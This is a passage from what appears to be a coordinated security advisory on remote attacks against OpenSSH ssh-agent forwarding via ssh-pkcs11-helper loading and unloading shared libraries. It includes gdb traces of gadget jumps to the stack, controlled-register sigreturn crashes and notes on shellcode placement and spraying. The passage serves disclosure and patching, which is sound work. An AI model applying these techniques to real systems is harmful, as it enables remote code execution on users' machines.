   0x7fff7aae7fc6:      nop
   0x7fff7aae7fc7:      nop

(gdb) !grep stack /proc/1225/maps
7fff7aacb000-7fff7aaeb000 rwxp 00000000 00:00 0                          [stack]


========================================================================
Callback function use-after-free
========================================================================

While analyzing the first results of our fuzzer, we noticed that some
combinations of shared libraries jump to the stack although they do not
register any signal handler or raise any signal; how is this possible?
On investigation, we understood that:

- a core library (for example, libgcrypt.so or libQt5Core.so) is loaded
  but not unloaded (munmap()ed) by dlclose(), because it is marked as
  "nodelete" by the loader;

- a shared library (for example, libgnunetutil.so or gammaray_probe.so)
  is loaded and registers a userland callback function with the core
  library (via gcry_set_allocation_handler() or qtHookData[], for
  example), but it does not deregister this callback function when
  dlclose()d (i.e., when its code is munmap()ed);

- another shared library is loaded (mmap()ed) and replaces the unmapped
  callback function's code with another piece of code (a useful gadget);

- yet another shared library is loaded and calls one of the core
  library's functions, which in turn calls the unmapped callback
  function and therefore executes the replacement code (the useful
  gadget) instead, thus jumping to the stack.

------------------------------------------------------------------------

In the following example, one of the core library's functions is called
at line 66254, the unmapped callback function is called at line 66288,
the replacement code (gadget) is executed instead at line 66289, and
jumps to the stack at line 66293 (ssh-pkcs11-helper segfaults here
because we did not make the stack executable):

Attaching to program: /usr/lib/openssh/ssh-pkcs11-helper, process 3628979
...
(gdb) record btrace
(gdb) continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x00007fff5000d9d0 in ?? ()

(gdb) !grep stack /proc/3628979/maps
7fff4fff3000-7fff50014000 rw-p 00000000 00:00 0                          [stack]

(gdb) set record instruction-history-size 100
(gdb) record instruction-history
...
66254      0x00007f9ae7d82df4:  call   0x7f9ae7d70180 <gcry_mpi_new@plt>
66255      0x00007f9ae7d70180 <gcry_mpi_new@...+0>:     endbr64 
66256      0x00007f9ae7d70184 <gcry_mpi_new@...+4>:     bnd jmp *0x7aa9d(%rip)        # 0x7f9ae7deac28 <gcry_mpi_new@....plt>
66257      0x00007f9af801bbe0 <gcry_mpi_new+0>: endbr64 
66258      0x00007f9af801bbe4 <gcry_mpi_new+4>: push   %r12
66259      0x00007f9af801bbe6 <gcry_mpi_new+6>: push   %rbx
66260      0x00007f9af801bbe7 <gcry_mpi_new+7>: lea    0x3f(%rdi),%ebx
66261      0x00007f9af801bbea <gcry_mpi_new+10>:        mov    $0x18,%edi
66262      0x00007f9af801bbef <gcry_mpi_new+15>:        shr    $0x6,%ebx
66263      0x00007f9af801bbf2 <gcry_mpi_new+18>:        sub    $0x8,%rsp
66264      0x00007f9af801bbf6 <gcry_mpi_new+22>:        call   0x7f9af801bb40
66265      0x00007f9af801bb40:  endbr64 
...
66285      0x00007f9af809cc60:  mov    0xa8311(%rip),%rax        # 0x7f9af8144f78
66286      0x00007f9af809cc67:  test   %rax,%rax
66287      0x00007f9af809cc6a:  jne    0x7f9af809cc44
66288      0x00007f9af809cc44:  call   *%rax

66289      0x00007f9afc27edc0:  cmp    %eax,%ebx
66290      0x00007f9afc27edc2:  jne    0x7f9afc27f150
66291      0x00007f9afc27f150:  mov    %r14,%rsi
66292      0x00007f9afc27f153:  mov    %r13,%rdi
66293      0x00007f9afc27f156:  call   *%rbx

------------------------------------------------------------------------

In the following example, the unmapped callback function is called at
line 87352, the replacement code (gadget) is executed instead at line
87353, and jumps to the stack at line 87354:

Attaching to program: /usr/lib/openssh/ssh-pkcs11-helper, process 3628993
...
(gdb) record btrace
(gdb) continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x00007ffe4fc16d10 in ?? ()

(gdb) !grep stack /proc/3628993/maps
7ffe4fbfc000-7ffe4fc1d000 rw-p 00000000 00:00 0                          [stack]

(gdb) set record instruction-history-size 100
(gdb) record instruction-history
...
87347      0x00007f35f8972d26 <_ZN7QObjectC2ER14QObjectPrivatePS_+182>: lea    0x26acd3(%rip),%rax        # 0x7f35f8bdda00 <qtHookData>
87348      0x00007f35f8972d2d <_ZN7QObjectC2ER14QObjectPrivatePS_+189>: mov    0x18(%rax),%rax
87349      0x00007f35f8972d31 <_ZN7QObjectC2ER14QObjectPrivatePS_+193>: test   %rax,%rax
87350      0x00007f35f8972d34 <_ZN7QObjectC2ER14QObjectPrivatePS_+196>: jne    0x7f35f8972d88 <_ZN7QObjectC2ER14QObjectPrivatePS_+280>
87351      0x00007f35f8972d88 <_ZN7QObjectC2ER14QObjectPrivatePS_+280>: mov    %rbx,%rdi
87352      0x00007f35f8972d8b <_ZN7QObjectC2ER14QObjectPrivatePS_+283>: call   *%rax

87353      0x00007f35fa445130 <_ZN5KAuth15ObjectDecorator13setAuthActionERKNS_6ActionE+80>:     pop    %rbp
87354      0x00007f35fa445131 <_ZN5KAuth15ObjectDecorator13setAuthActionERKNS_6ActionE+81>:     ret    

------------------------------------------------------------------------

Note: several shared libraries that are installed by default on Ubuntu
Desktop (for example, gkm-*-store-standalone.so) do not have constructor
or destructor functions, but they are actual PKCS#11 providers, so some
of their functions are explicitly called by ssh-pkcs11-helper, and these
functions register a callback function with libgcrypt.so but they do not
deregister it when dlclose()d (i.e., when munmap()ed), thus exhibiting
the "Callback function use-after-free" behavior presented in this
subsection.

In the following example, one of libgcrypt.so's functions is called at
line 79114, the unmapped callback function is called at line 79143, the
replacement code (gadget) is executed instead at line 79144, and jumps
to the stack at line 79157:

Attaching to program: /usr/lib/openssh/ssh-pkcs11-helper, process 3629085
...
(gdb) record btrace
(gdb) continue
Continuing.

Thread 1 "ssh-pkcs11-help" received signal SIGSEGV, Segmentation fault.
0x00007fffb2735c48 in ?? ()

(gdb) !grep stack /proc/3629085/maps
7fffb2716000-7fffb2737000 rw-p 00000000 00:00 0                          [stack]

(gdb) set record instruction-history-size 100
(gdb) record instruction-history
...
79114      0x00007f8328147e3a:  call   0x7f8328135500 <gcry_mpi_scan@plt>
79115      0x00007f8328135500 <gcry_mpi_scan@...+0>:    endbr64 
79116      0x00007f8328135504 <gcry_mpi_scan@...+4>:    bnd jmp *0x7a8dd(%rip)        # 0x7f83281afde8 <gcry_mpi_scan@....plt>
79117      0x00007f832e2b1220 <gcry_mpi_scan+0>:        endbr64 
79118      0x00007f832e2b1224 <gcry_mpi_scan+4>:        sub    $0x8,%rsp
79119      0x00007f832e2b1228 <gcry_mpi_scan+8>:        call   0x7f832e32fbb0
79120      0x00007f832e32fbb0:  endbr64 
...
79140      0x00007f832e2b436e:  mov    0x129dc3(%rip),%rax        # 0x7f832e3de138
79141      0x00007f832e2b4375:  test   %rax,%rax
79142      0x00007f832e2b4378:  je     0x7f832e2b43b0
79143      0x00007f832e2b437a:  jmp    *%rax

79144      0x00007f832ed274f0:  and    $0x20,%al
79145      0x00007f832ed274f2:  mov    %rax,0x50(%rsp)
79146      0x00007f832ed274f7:  mov    0x30(%rsp),%r13d
79147      0x00007f832ed274fc:  mov    0x58(%rsp),%r15
79148      0x00007f832ed27501:  mov    %ebx,%ebp
79149      0x00007f832ed27503:  mov    %r8d,%edx
79150      0x00007f832ed27506:  mov    0x50(%rsp),%rsi
79151      0x00007f832ed2750b:  mov    0x28(%rsp),%r14
79152      0x00007f832ed27510:  movslq 0x38(%r12),%rax
79153      0x00007f832ed27515:  sub    $0x8000,%ebp
79154      0x00007f832ed2751b:  mov    0x54(%r12),%ecx
79155      0x00007f832ed27520:  add    %rax,%r14
79156      0x00007f832ed27523:  mov    %r14,%rdi
79157      0x00007f832ed27526:  call   *%r15


========================================================================
Return from syscall use-after-free
========================================================================

While analyzing the strace logs of the dlopen() and dlclose() of every
shared library in /usr/lib*, we spotted an unusual SIGSEGV:

- a shared library is loaded, and its constructor function starts a
  thread that sleeps for 10 seconds in kernel-land:

------------------------------------------------------------------------
3631347 openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/cmpi/libcmpiOSBase_ProcessorProvider.so", O_RDONLY|O_CLOEXEC) = 3
...
3631347 mmap(NULL, 33296, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f5f3c3fb000
3631347 mmap(0x7f5f3c3fd000, 12288, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x2000) = 0x7f5f3c3fd000
3631347 mmap(0x7f5f3c400000, 8192, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x5000) = 0x7f5f3c400000
3631347 mmap(0x7f5f3c402000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x6000) = 0x7f5f3c402000
3631347 close(3)                        = 0
...
3631347 clone3({flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, child_tid=0x7f5f3bd70910, parent_tid=0x7f5f3bd70910, exit_signal=0, stack=0x7f5f3b570000, stack_size=0x7fff00, tls=0x7f5f3bd70640} => {parent_tid=[3631372]}, 88) = 3631372
...
3631372 clock_nanosleep(CLOCK_REALTIME, 0, {tv_sec=10, tv_nsec=0},  <unfinished ...>
------------------------------------------------------------------------

- meanwhile, the main thread (ssh-pkcs11-helper) unloads this shared
  library (because it is not an actual PKCS#11 provider) and therefore
  munmap()s the code where the sleeping thread should return to after
  its sleep in kernel-land:

------------------------------------------------------------------------
3631347 socket(AF_UNIX, SOCK_DGRAM|SOCK_CLOEXEC, 0) = 3
3631347 connect(3, {sa_family=AF_UNIX, sun_path="/dev/log"}, 110) = 0
3631347 sendto(3, "<35>Jun 22 18:35:25 ssh-pkcs11-helper[3631347]: error: dlsym(C_GetFunctionList) failed: /usr/lib/x86_64-linux-gnu/cmpi/libcmpiOSBase_ProcessorProvider.so: undefined symbol: C_GetFunctionList", 190, MSG_NOSIGNAL, NULL, 0) = 190
3631347 close(3)                        = 0
3631347 munmap(0x7f5f3c3fb000, 33296)   = 0
------------------------------------------------------------------------

- the sleeping thread returns from kernel-land and crashes with a
  SIGSEGV because its userland code (at 0x7f5f3c3fecff) was unmapped:

------------------------------------------------------------------------
3631372 <... clock_nanosleep resumed>0x7f5f3bd6fde0) = 0
3631372 --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x7f5f3c3fecff} ---
------------------------------------------------------------------------

Of course, we can request ssh-pkcs11-helper to load (mmap()) a
"nodelete" library before the sleeping thread returns from kernel-land,
thus replacing the unmapped userland code with another piece of code (a
hopefully useful gadget). In the following example, the sleeping thread
returns from kernel-land after line 214, executes the replacement code
(gadget) at line 256, and jumps to the stack at line 1305:

Attaching to program: /usr/lib/openssh/ssh-pkcs11-helper, process 3631531
...
(gdb) record btrace
(gdb) continue
Continuing.
...
Thread 2 "ssh-pkcs11-help" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7f4603960640 (LWP 3631561)]
0x00007ffe2196f180 in ?? ()

(gdb) !grep stack /proc/3631531/maps
7ffe21955000-7ffe21976000 rw-p 00000000 00:00 0                          [stack]

(gdb) set record instruction-history-size unlimited
(gdb) record instruction-history
...
214        0x00007f4604b71866 <__GI___clock_nanosleep+198>:     syscall 
...
240        0x00007f4604b71831 <__GI___clock_nanosleep+145>:     ret    
...
244        0x00007f4604b766ef <__GI___nanosleep+31>:    ret    
...
255        0x00007f4604b7663d <__sleep+93>:     ret    

256        0x00007f46050fecff:  jmp    0x7f4604662e54 <__ieee754_j1f128+2276>
257        0x00007f4604662e54 <__ieee754_j1f128+2276>:  movq   0x60(%rsp),%mm3
...
1304       0x00007f460466285b <__ieee754_j1f128+747>:   add    $0xc8,%rsp
1305       0x00007f4604662862 <__ieee754_j1f128+754>:   ret    


========================================================================
Sigaltstack use-after-free
========================================================================

>From time to time, we noticed the following warning in the dmesg of our
fuzzing laptop:

------------------------------------------------------------------------
[585902.691238] signal: ssh-pkcs11-help[1663008] overflowed sigaltstack
------------------------------------------------------------------------

On investigation, we discovered that at least one shared library
(libgnatcoll_postgres.so) calls sigaltstack() to register an alternate
signal stack (used by SA_ONSTACK signal handlers) when dlopen()ed, and
then munmap()s this signal stack without deregistering it (SS_DISABLE)
when dlclose()d. Consequently, we implemented and tested a different
attack idea:

- we randomly load zero or more shared libraries that permanently alter
  the mmap layout;

- we load libgnatcoll_postgres.so, which registers an alternate signal
  stack and then munmap()s it without deregistering it;

- we randomly load zero or more shared libraries that alter the mmap
  layout (again), and hopefully replace the unmapped signal stack with
  another writable memory mapping (for example, a thread stack, or a
  .data or .bss segment);

- we randomly load one shared library that registers an SA_ONSTACK
  signal handler but does not munmap() its code when dlclose()d (unlike
  our original "Signal handler use-after-free" attack);

- we randomly load one shared library that raises this signal and
  therefore calls the SA_ONSTACK signal handler, thus overwriting the
  replacement memory mapping with stack frames from the signal handler;

- we randomly load one or more shared libraries that hopefully use the
  overwritten contents of the replacement memory mapping.

Although we successfully found various combinations of shared libraries
that overwrite a .data or .bss segment with a stack frame from a signal
handler, we failed to overwrite a useful memory mapping with useful data
(e.g., we failed to magically jump to the stack); for this attack to
work, more research and a finer-grained approach might be required.


========================================================================
Sigreturn to arbitrary instruction pointer
========================================================================

Astonishingly, numerous combinations of shared libraries crash because
they try to execute code at 0xcccccccccccccccc: a direct control of the
instruction pointer (RIP), because these 0xcc bytes come from the stack
buffer of ssh-pkcs11-helper that we (remote attackers) filled with 0xcc
bytes.

Initially, we got very excited by this new attack vector, because we
thought that a gadget of the form "add rsp, N; ret" was executed, thus
moving the stack pointer (RSP) into our 0xcc-filled stack buffer and
popping RIP from there. Unfortunately, the reality is more complex:

- a shared library raises a signal (a SIGSEGV in the example below, at
  line 134110) and, in consequence of a "Signal handler use-after-free",
  a replacement gadget of the form "ret N" is executed instead of the
  signal handler (at line 134111);

- exactly as the real signal handler would, the replacement gadget
  returns to the glibc's restore_rt() function (at line 134112), which
  in turn calls the kernel's rt_sigreturn() function (at line 134113);

- however, before the kernel's rt_sigreturn() function is called, the
  replacement gadget "ret N" moves RSP into our 0xcc-filled stack buffer
  and as a result, the kernel's rt_sigreturn() function restores all
  userland registers (including RIP and RSP) from there;

------------------------------------------------------------------------
Attaching to program: /usr/lib/openssh/ssh-pkcs11-helper, process 3633914
...
(gdb) record btrace
(gdb) continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x00007fcd468671b1 in xtables_register_target () from /lib/x86_64-linux-gnu/libxtables.so.12

(gdb) x/i 0x00007fcd468671b1
=> 0x7fcd468671b1 <xtables_register_target+209>:        movzbl 0x18(%rax),%eax

(gdb) info registers
rax            0x0                 0
...

(gdb) continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xcccccccccccccccc in ?? ()

(gdb) set record instruction-history-size 100
(gdb) record instruction-history
...
134106     0x00007fcd4686719e <xtables_register_target+190>:    mov    0x6e1b(%rip),%rax        # 0x7fcd4686dfc0
134107     0x00007fcd468671a5 <xtables_register_target+197>:    movzwl 0x22(%rbx),%edx
134108     0x00007fcd468671a9 <xtables_register_target+201>:    mov    (%rax),%rax
134109     0x00007fcd468671ac <xtables_register_target+204>:    mov    %dx,0x6(%rsp)
134110  [disabled]
134111     0x00007fcd48e434a0:  ret    $0x1f0f
134112     0x00007fcd49655520 <__restore_rt+0>: mov    $0xf,%rax
134113     0x00007fcd49655527 <__restore_rt+7>: syscall 

(gdb) info registers
rax            0x0                 0
rbx            0xcccccccccccccccc  -3689348814741910324
rcx            0xcccccccccccccccc  -3689348814741910324
rdx            0xcccccccccccccccc  -3689348814741910324
rsi            0xcccccccccccccccc  -3689348814741910324
rdi            0xcccccccccccccccc  -3689348814741910324
rbp            0xcccccccccccccccc  0xcccccccccccccccc
rsp            0xcccccccccccccccc  0xcccccccccccccccc
r8             0xcccccccccccccccc  -3689348814741910324
r9             0xcccccccccccccccc  -3689348814741910324
r10            0xcccccccccccccccc  -3689348814741910324
r11            0xcccccccccccccccc  -3689348814741910324
r12            0xcccccccccccccccc  -3689348814741910324
r13            0xcccccccccccccccc  -3689348814741910324
r14            0xcccccccccccccccc  -3689348814741910324
r15            0xcccccccccccccccc  -3689348814741910324
rip            0xcccccccccccccccc  0xcccccccccccccccc
------------------------------------------------------------------------

Although we directly control all of the userland registers, we failed to
transform this attack vector into a one-shot remote exploit, because RSP
(which was conveniently pointing into our 0xcc-filled stack buffer) gets
overwritten, and because we were unable to leak any information from
ssh-pkcs11-helper (to defeat ASLR).

Partially overwriting a pointer that is left over in ssh-pkcs11-helper's
stack buffer, and that is later used by rt_sigreturn() to restore a
userland register, might be an interesting idea that we have not
explored yet.


========================================================================
_Unwind_Context type-confusion
========================================================================

This attack vector was the most puzzling of our discoveries: from time
to time, some combinations of shared libraries jumped to the stack, but
evidently not as a result of a signal handler, callback function, or
return from syscall use-after-free. Eventually, we determined the
sequence of events that led to these stack jumps:

- some shared libraries load LLVM's libunwind.so as a "nodelete" library
  (i.e., it is never unloaded, even after dlclose());

- some shared libraries throw a C++ exception, which loads GCC's
  libgcc_s.so and calls the _Unwind_GetCFA() function (at line 57295 in
  the example below);

- however, GCC's libgcc_s.so mistakenly calls LLVM's _Unwind_GetCFA()
  (at line 57298) instead of GCC's _Unwind_GetCFA() (because LLVM's
  libunwind.so was loaded first), and passes a pointer to GCC's struct
  _Unwind_Context to this function (instead of a pointer to LLVM's
  struct _Unwind_Context, which is a different type of structure);

- LLVM's _Unwind_GetCFA() then calls its unw_get_reg() function (at line
  57303), which in turn calls a function pointer (at line 57311) that is
  a member of LLVM's struct _Unwind_Context, but that happens to be a
  stack pointer in GCC's struct _Unwind_Context;

------------------------------------------------------------------------
Attaching to program: /usr/lib/openssh/ssh-pkcs11-helper, process 3635541
...
(gdb) record btrace
(gdb) continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x00007ffcf5e9be10 in ?? ()

(gdb) !grep stack /proc/3635541/maps
7ffcf5e82000-7ffcf5ea3000 rw-p 00000000 00:00 0                          [stack]

(gdb) set record instruction-history-size 100
(gdb) record instruction-history
...
57295      0x00007f7c8eaaccf1:  call   0x7f7c8ea99470 <_Unwind_GetCFA@plt>

57296      0x00007f7c8ea99470 <_Unwind_GetCFA@...+0>:   endbr64 
57297      0x00007f7c8ea99474 <_Unwind_GetCFA@...+4>:   bnd jmp *0x1bc2d(%rip)        # 0x7f7c8eab50a8 <_Unwind_GetCFA@....plt>

57298      0x00007f7c8edce920 <_Unwind_GetCFA+0>:       sub    $0x18,%rsp
57299      0x00007f7c8edce924 <_Unwind_GetCFA+4>:       mov    %fs:0x28,%rax
57300      0x00007f7c8edce92d <_Unwind_GetCFA+13>:      mov    %rax,0x10(%rsp)
57301      0x00007f7c8edce932 <_Unwind_GetCFA+18>:      lea    0x8(%rsp),%rdx
57302      0x00007f7c8edce937 <_Unwind_GetCFA+23>:      mov    $0xfffffffe,%esi
57303      0x00007f7c8edce93c <_Unwind_GetCFA+28>:      call   0x7f7c8edca6b0 <unw_get_reg>

57304      0x00007f7c8edca6b0 <unw_get_reg+0>:  push   %rbp
57305      0x00007f7c8edca6b1 <unw_get_reg+1>:  push   %r14
57306      0x00007f7c8edca6b3 <unw_get_reg+3>:  push   %rbx
57307      0x00007f7c8edca6b4 <unw_get_reg+4>:  mov    %rdx,%r14
57308      0x00007f7c8edca6b7 <unw_get_reg+7>:  mov    %esi,%ebp
57309      0x00007f7c8edca6b9 <unw_get_reg+9>:  mov    %rdi,%rbx
57310      0x00007f7c8edca6bc <unw_get_reg+12>: mov    (%rdi),%rax
57311      0x00007f7c8edca6bf <unw_get_reg+15>: call   *0x10(%rax)

(gdb) !grep 7f7c8ea /proc/3635541/maps
7f7c8ea99000-7f7c8eab0000 r-xp 00003000 08:03 8788336                    /usr/lib/x86_64-linux-gnu/libgcc_s.so.1

(gdb) !grep 7f7c8ed /proc/3635541/maps
7f7c8edc9000-7f7c8edd1000 r-xp 00000000 08:03 11148811                   /usr/lib/llvm-14/lib/libunwind.so.1.0
------------------------------------------------------------------------


========================================================================
RCE in library constructor
========================================================================

As a last and extreme example of a remote attack against ssh-agent
forwarding, we noticed that one shared library's constructor function
(which can be invoked by a remote attacker via an ssh-agent forwarding)
starts a server thread that listens on a TCP port, and we discovered a
remotely exploitable vulnerability (a heap-based buffer overflow) in
this server's implementation.

The unusual malloc exploitation technique that we used to remotely
exploit this vulnerability is so interesting (it is reliable, one-shot,
and works against the latest glibc versions, despite all the modern
protections) that we decided to publish it in a separate advisory:

    https://www.qualys.com/2023/06/06/renderdoc/renderdoc.txt

This last and extreme attack vector against ssh-agent also underlines
the central point of this advisory: many shared libraries are simply not
safe to be loaded (and unloaded) in a security-sensitive program such as
ssh-agent.


========================================================================
Discussion
========================================================================

We believe that we have not exploited the full potential of this
"dlopen() then dlclose()" primitive:

- we have only investigated Ubuntu Desktop 22.04 and 21.10, but other
  versions, distributions, or operating systems might be hiding further
  surprises;

- our rudimentary fuzzer can certainly be greatly improved, and has
  definitely not tried all the combinations of shared libraries and side
  effects;

- we have identified seven attack vectors against ssh-agent (described
  in the "Results" section), but we have not analyzed in detail all the
  results of our fuzzer;

- we have not fully explored various aspects of these attack vectors:

  - it might be possible to reliably exploit the "Sigaltstack
    use-after-free" (by carefully overwriting the .data or .bss segment
    of a shared library) or the "Sigreturn to arbitrary instruction
    pointer" (by partially overwriting a leftover pointer in
    ssh-pkcs11-helper's stack);

  - we currently store our shellcode in ssh-pkcs11-helper's main() stack
    buffer only, but it might be possible to store shellcode in other
    stack buffers as well, or somehow spray the stack with shellcode,
    which would dramatically increase our chances of jumping into our
    shellcode;

    for example, we tried to spray the stack with shellcode by
    interrupting a memcpy() of controlled data with a signal handler,
    thereby spilling controlled YMM registers to the stack (inspired by
    https://bugs.chromium.org/p/project-zero/issues/detail?id=2266), but
    we failed because we can memcpy() only ~10KB of data, and because we
    cannot remotely use tricks such as inotify or sched*() to precisely
    time this race;

  - it might be possible to control the mmap layout of ssh-pkcs11-helper
    with page precision (which would allow us to precisely control the
    gadget that replaces the unmapped signal handler, callback function,
    or return from syscall), but we failed to find large malloc()ations
    (which are mmap()ed) in ssh-pkcs11-helper (the only way we found to
    influence the mmap layout is to load and unload shared libraries, as
    mentioned in Step 4a/ of the "Experiments" section);

  - instead of replacing the unmapped signal handler or callback
    function (or return from syscall) with a gadget from another shared
    library, it is perfectly possible to replace it with an executable
    thread stack (made executable by loading an "execstack" library),
    but we have failed so far to control the contents of such a thread
    stack.


========================================================================
Acknowledgments
========================================================================

We thank the OpenSSH developers, and Damien Miller in particular, for
their outstanding work on this vulnerability and on OpenSSH in general.
We also thank Mitre's CVE Assignment Team for their quick response.
Finally, we dedicate this advisory to the Midnight Fox.


========================================================================
Timeline
========================================================================

2023-07-06: We sent a draft of our advisory and a preliminary patch to
the OpenSSH developers.

2023-07-07: The OpenSSH developers replied and sent us a more complete
set of patches.

2023-07-09: We sent feedback about these patches to the OpenSSH
developers.

2023-07-11: The OpenSSH developers sent us a complete set of patches,
and we sent them feedback about these patches.

2023-07-14: The OpenSSH developers informed us that "we're aiming to
make a security-only release ... on July 19th."

2023-07-19: Coordinated release.

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.